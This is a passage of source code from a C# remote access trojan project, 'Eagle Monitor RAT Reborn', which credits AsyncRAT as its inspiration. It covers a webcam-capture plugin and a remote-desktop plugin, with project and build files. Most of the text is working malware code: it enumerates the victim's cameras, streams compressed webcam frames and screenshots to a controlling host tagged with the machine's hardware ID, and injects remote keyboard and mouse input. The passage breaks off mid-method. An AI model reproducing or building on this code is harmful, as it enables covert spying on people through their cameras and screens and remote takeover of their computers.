sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { return; } else if (!Connected) { ConnectStart(); } else { Receive(); if (Launch.cameraCapture == true) { Helpers.StartCaptureAsync(); } } } public void Receive() { if (hasToExit) return; if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { try { return BufferPacket.DeserializePacket(this.key); } catch (Exception) { return null; } } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); if (packet != null) ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.RC_CAPTURE_ON: Launch.remoteCameraCapturePacket = (RemoteCameraCapturePacket)packet; break; case PacketType.RC_CAPTURE_OFF: hasToExit = true; Launch.cameraCapture = false; Helpers.StopStreamCamera(); break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private PacketType SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return data.PacketType; } catch (Exception) { Connected = false; } return data.PacketType; } } private void SendDataCompleted(IAsyncResult ar) { ar.AsyncWaitHandle.WaitOne(); PacketType packetType = sendDataAsync.EndInvoke(ar); ar.AsyncWaitHandle.Close(); if (Connected) { if (packetType == PacketType.RC_GET_CAM) this.Dispose(); } } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/GetCameras.cs ================================================ using AForge.Video.DirectShow; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs */ namespace Plugin { internal static class GetCameras { internal static List GetListCameras() { List CameraList = new List(); FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) { CameraList.Add(videoCaptureDevice.Name); } return CameraList; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/Helpers.cs ================================================ using AForge.Video; using AForge.Video.DirectShow; using PacketLib; using PacketLib.Packet; using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs */ namespace Plugin { internal class Helpers { static Helpers() { captureAsync = new CaptureAsync(Capture); } private static VideoCaptureDevice FinalVideo; private static MemoryStream Camstream = new MemoryStream(); internal delegate void CaptureAsync(); internal static CaptureAsync captureAsync; internal static void StartCaptureAsync() { captureAsync.BeginInvoke(new AsyncCallback(EndCaptureAsync) , null); } internal static void Capture() { FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); FinalVideo = new VideoCaptureDevice(videoCaptureDevices[Launch.remoteCameraCapturePacket.index].MonikerString); FinalVideo.NewFrame += new NewFrameEventHandler ( (sender, e) => CaptureRun(sender, e) ); FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[Launch.remoteCameraCapturePacket.index]; FinalVideo.Start(); } private static void CaptureRun(object sender, NewFrameEventArgs e) { try { if (Launch.cameraCapture == true) { Bitmap image = (Bitmap)e.Frame.Clone(); using (Camstream = new MemoryStream()) { Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Launch.remoteCameraCapturePacket.quality); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); image.Save(Camstream, jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); image?.Dispose(); byte[] compressed = Compressor.QuickLZ.Compress(Camstream.ToArray(), 1); RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(compressed) { BaseIp = Launch.clientHandler.baseIp, HWID = Launch.clientHandler.HWID }; Launch.clientHandler.SendPacket(remoteCameraCapturePacket); Thread.Sleep(Launch.remoteCameraCapturePacket.timeMS); } } else { return; } } catch (Exception) { return; } } private static void EndCaptureAsync(IAsyncResult ar) { ar.AsyncWaitHandle.WaitOne(); captureAsync.EndInvoke(ar); ar.AsyncWaitHandle.Close(); } internal static void StopStreamCamera() { FinalVideo.Stop(); FinalVideo.NewFrame -= null; Camstream?.Dispose(); Launch.clientHandler.Dispose(); } private static ImageCodecInfo GetEncoder(ImageFormat format) { ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); foreach (ImageCodecInfo codec in codecs) { if (codec.FormatID == format.Guid) { return codec; } } return null; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; internal static bool cameraCapture; internal static RemoteCameraCapturePacket remoteCameraCapturePacket; public static void Main(LoadingAPI loadingAPI) { cameraCapture = false; switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.RC_GET_CAM: ClientHandler clientHandlerGetCam = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandlerGetCam.ConnectStart(); RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket(GetCameras.GetListCameras(), loadingAPI.BaseIp, loadingAPI.HWID); while (!clientHandlerGetCam.Connected) Thread.Sleep(125); clientHandlerGetCam.SendPacket(remoteCameraPacket); break; case PacketType.RC_CAPTURE_ON: cameraCapture = true; remoteCameraCapturePacket = (RemoteCameraCapturePacket)loadingAPI.CurrentPacket; clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandler.ConnectStart(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("RemoteCamera")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("RemoteCamera")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("b06314f2-338e-4e66-acaa-a107a777a7b5")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/RemoteCamera.csproj ================================================  Debug AnyCPU {B06314F2-338E-4E66-ACAA-A107A777A7B5} Library Properties Plugin RemoteCamera v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\AForge.2.2.5\lib\AForge.dll ..\..\packages\AForge.Video.2.2.5\lib\AForge.Video.dll ..\..\packages\AForge.Video.DirectShow.2.2.5\lib\AForge.Video.DirectShow.dll ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.CoreCompileInputs.cache ================================================ 4d258941f8932a4b48b39eb3b45791586cf7c09f ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\bin\Debug\RemoteCamera.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\bin\Debug\RemoteCamera.pdb D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\RemoteCamera.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.CopyComplete E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\RemoteCamera.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.csproj.CopyComplete E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Debug\RemoteCamera.dll ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/RemoteCamera.csproj.Fody.CopyLocal.cache ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\packages\AForge.2.2.5\lib\AForge.xml E:\личный\программирование\C#\Eagle Monitor Reborn\packages\AForge.Video.2.2.5\lib\AForge.Video.xml E:\личный\программирование\C#\Eagle Monitor Reborn\packages\AForge.Video.DirectShow.2.2.5\lib\AForge.Video.DirectShow.xml ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.CoreCompileInputs.cache ================================================ 6c67a8558ff2c45b5ac807f3e4567e0f90272fe7 ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\RemoteCamera.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\RemoteCamera.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteCamera.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteCamera.dll C:\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteCamera.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteCamera.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteCamera.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteCamera\obj\Release\RemoteCamera.dll ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/RemoteCamera.csproj.Fody.CopyLocal.cache ================================================ E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.2.2.5\lib\AForge.xml E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.2.2.5\lib\AForge.Video.xml E:\$$$$$\Eagle Monitor RAT Reborn\packages\AForge.Video.DirectShow.2.2.5\lib\AForge.Video.DirectShow.xml ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/RemoteCamera/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/CaptureHelpers.cs ================================================ using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; using System.Runtime.InteropServices; using System.Windows.Forms; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class CaptureHelpers { private static ImageCodecInfo GetEncoderInfo(ImageFormat format) { try { int j = 0; ImageCodecInfo[] encoders = ImageCodecInfo.GetImageEncoders(); j = 0; while (j < encoders.Length) { if (encoders[j].FormatID == format.Guid) { return encoders[j]; } j += 1; } } catch { } return null; } internal static byte[] Capture(int width, int height, int quality, string format, ref int vResol, ref int hResol, short screen = 0) { try { Bitmap img = new Bitmap(Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height); hResol = Screen.AllScreens[screen].Bounds.Width; vResol = Screen.AllScreens[screen].Bounds.Height; Graphics graphics = Graphics.FromImage(img); graphics.CompositingQuality = CompositingQuality.HighSpeed; graphics.CopyFromScreen(0, 0, 0, 0, new Size(Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height), CopyPixelOperation.SourceCopy); Point P = new Point(); GetCursorPos(out P); CURSORINFOHELPER CS = new CURSORINFOHELPER(); CS.cbSize = Marshal.SizeOf(CS); GetCursorInfo(ref CS); if (CS.flags == 0x1) { graphics.DrawIcon(Icon.FromHandle(CS.hCursor), P.X, P.Y); } Bitmap Resize = new Bitmap(width, height); Graphics g2 = Graphics.FromImage(Resize); g2.CompositingQuality = CompositingQuality.HighSpeed; g2.DrawImage(img, new Rectangle(0, 0, width, height), new Rectangle(0, 0, Screen.AllScreens[screen].Bounds.Width, Screen.AllScreens[screen].Bounds.Height), GraphicsUnit.Pixel); EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, quality); ImageCodecInfo encoderInfo = encoderInfo = GetEncoderInfo(ImageFormat.Jpeg); EncoderParameters encoderParameters = new EncoderParameters(1); encoderParameters.Param[0] = encoderParameter; System.IO.MemoryStream MS = new System.IO.MemoryStream(); Resize.Save(MS, encoderInfo, encoderParameters); graphics.Dispose(); g2.Dispose(); img.Dispose(); Resize.Dispose(); MS.Dispose(); encoderParameter.Dispose(); encoderParameters.Dispose(); return MS.ToArray(); } catch { } return null; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } internal int hResol; internal int vResol; public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public delegate byte[] CaptureDesktopAsync(); public CaptureDesktopAsync captureDesktop; public ClientHandler(Host host, string key, string baseIp, string HWID) : base() { this.hasToExit = false; this.host = host; this.key = key; this.HWID = HWID; this.baseIp = baseIp; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); captureDesktop = new CaptureDesktopAsync(DesktopPicture); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { return; } else if (!Connected) { ConnectStart(); } else { Receive(); CaptureDesktop(); } } public void Receive() { if (hasToExit) return; if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { try { return BufferPacket.DeserializePacket(this.key); } catch (Exception) { return null; } } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); if (packet != null) ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.RM_VIEW_ON: Launch.remoteViewerBasePacket = (RemoteViewerPacket)packet; break; case PacketType.RM_VIEW_OFF: hasToExit = true; break; case PacketType.RM_KEYBOARD: RemoteKeyboardPacket remoteKeyboardPacket = (RemoteKeyboardPacket)packet; KeyboardHelper.KeyPress(remoteKeyboardPacket.keyCode, remoteKeyboardPacket.isDown); break; case PacketType.RM_MOUSE: RemoteMousePacket mousePacket = (RemoteMousePacket)packet; switch (mousePacket.mouseTypeAction) { case RemoteMousePacket.MouseTypeAction.LEFT_DOWN: MouseHelper.MouseLeftClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true); break; case RemoteMousePacket.MouseTypeAction.LEFT_UP: MouseHelper.MouseLeftClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false); break; case RemoteMousePacket.MouseTypeAction.RIGHT_DOWN: MouseHelper.MouseRightClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true); break; case RemoteMousePacket.MouseTypeAction.RIGHT_UP: MouseHelper.MouseRightClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false); break; case RemoteMousePacket.MouseTypeAction.MOVE_MOUSE: MouseHelper.MouseMove(new System.Drawing.Point(mousePacket.x, mousePacket.y)); break; case RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP: MouseHelper.MouseScroll(new System.Drawing.Point(mousePacket.x, mousePacket.y), false); break; case RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN: MouseHelper.MouseScroll(new System.Drawing.Point(mousePacket.x, mousePacket.y), true); break; case RemoteMousePacket.MouseTypeAction.MIDDLE_UP: MouseHelper.MiddleMouseClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), false); break; case RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN: MouseHelper.MiddleMouseClick(new System.Drawing.Point(mousePacket.x, mousePacket.y), true); break; } break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } 